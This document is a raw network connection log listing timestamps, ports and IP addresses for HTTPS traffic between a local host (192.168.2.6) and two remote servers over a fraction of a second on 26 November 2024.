Nov 26, 2024 01:41:20.259517908 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.260411978 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.260437965 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.260502100 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.260509014 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.260552883 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.260571957 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.266010046 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.266055107 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.266098976 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.266108036 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.266145945 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.266165018 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.266351938 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.266379118 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.266418934 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.266426086 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.266463041 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.266475916 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.269239902 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.269259930 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.269300938 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.269310951 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.269359112 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.270725012 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.270750046 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.270804882 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.270811081 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.270845890 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.270869017 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.274559021 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.274617910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.274630070 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.274638891 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.274671078 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.274709940 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.277806044 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.277857065 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.277889967 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.277900934 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.277954102 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.277973890 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.278523922 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.278547049 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.278605938 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.278614044 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.278635025 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.278671026 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.282927990 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.282952070 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.283030033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.283035994 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.283111095 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.283745050 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.283792019 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.283847094 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.283859015 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.283869982 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.283921003 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.286962032 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.286983013 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.287026882 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.287038088 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.287067890 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.287080050 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.289244890 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.289267063 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.289392948 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.289401054 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.289444923 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.294244051 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.294258118 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.294382095 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.294387102 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.294428110 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.296916962 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.296953917 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.296997070 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.297013998 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.297038078 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.297053099 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.299849033 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.299870968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.300052881 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.300059080 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.300112009 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.311249018 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.311286926 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.311345100 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.311352968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.311422110 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.316504955 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.316586971 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.316653967 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.319294930 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.319319963 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.319374084 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.319379091 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.319427967 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.327126026 CET	49733	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.327126026 CET	49733	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.327163935 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.327187061 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.332055092 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.332068920 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.332150936 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.332168102 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.332470894 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.334467888 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.334485054 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.334616899 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.334892035 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.334904909 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.339673042 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.339723110 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.339751959 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.339761019 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.339814901 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.343341112 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.343357086 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.343442917 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.343456030 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.343503952 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.352715969 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.352741003 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.352848053 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.352857113 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.352868080 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.352891922 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.363467932 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.363482952 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.363578081 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.363590002 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.363626957 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.374181032 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.374198914 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.374270916 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.374284983 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.374372005 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.384279966 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.384295940 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.384392977 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.384406090 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.384457111 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.387883902 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.387901068 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.394942999 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.394958973 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.395056009 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.395064116 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.395100117 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.404258013 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.404273987 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.404336929 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.404345989 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.404393911 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.411871910 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.411911964 CET	443	49739	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.411992073 CET	49739	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.419615030 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.419640064 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.419711113 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.419722080 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.419760942 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.419781923 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.424072981 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.424122095 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.425524950 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.425533056 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.425889015 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.427413940 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.427438021 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.427511930 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.427517891 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.427555084 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.430315018 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.430357933 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.430414915 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.430419922 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.430471897 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.435071945 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.435091972 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.435142040 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.435151100 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.435192108 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.436383009 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.436403036 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.436484098 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.436491013 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.436604977 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.437477112 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.437519073 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.437551022 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.437557936 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.437594891 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.437608004 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.441696882 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.441718102 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.441756964 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.441767931 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.441797972 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.441858053 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.443768978 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.443793058 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.443861961 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.443875074 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.443918943 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.443938017 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.444698095 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.444741964 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.444786072 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.444792032 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.444833040 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.446348906 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.446368933 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.446449041 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.446454048 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.446515083 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.449291945 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.449311972 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.449394941 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.449403048 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.449440956 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.450985909 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.451026917 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.451080084 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.451087952 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.451117992 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.451147079 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.452759981 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.452780008 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.452851057 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.452857971 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.452900887 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.452924967 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.453071117 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.453123093 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.453176975 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.453310013 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.453313112 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.453583002 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.454854012 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.454873085 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.454925060 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.454929113 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.454976082 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.454993010 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.456393957 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.456428051 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.456479073 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.456489086 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.456516981 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.456540108 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.460602999 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.460623026 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.460711956 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.460720062 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.460747957 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.460760117 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.464020014 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.464065075 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.464303017 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.464313984 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.464355946 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.464684963 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.464700937 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.464760065 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.464770079 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.464807034 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.469722033 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.469738960 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.469803095 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.469810963 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.469852924 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.471740007 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.471760035 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.471870899 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.471870899 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.471880913 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.471962929 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.473748922 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.473769903 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.473833084 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.473841906 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.473898888 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.478810072 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.478827953 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.478894949 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.478902102 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.478945971 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.483618021 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.483633995 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.483696938 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.483701944 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.483736038 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.487477064 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.487497091 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.487540960 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.487548113 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.487611055 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.493438959 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.493457079 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.493516922 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.493521929 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.493560076 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.493592024 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.496382952 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.496401072 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.496449947 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.496458054 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.496493101 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.496512890 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.522317886 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.522336960 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.522393942 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.522398949 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.522447109 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.525109053 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.525127888 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.525230885 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.525239944 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.525279045 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.536187887 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.536216021 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.536283016 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.536297083 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.536329985 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.536345005 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.544852972 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.544867992 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.544953108 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.544962883 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.545018911 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.552397013 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.552412987 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.552509069 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.552517891 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.552607059 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.561038017 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.561053991 CET	443	49728	150.171.27.10	192.168.2.6
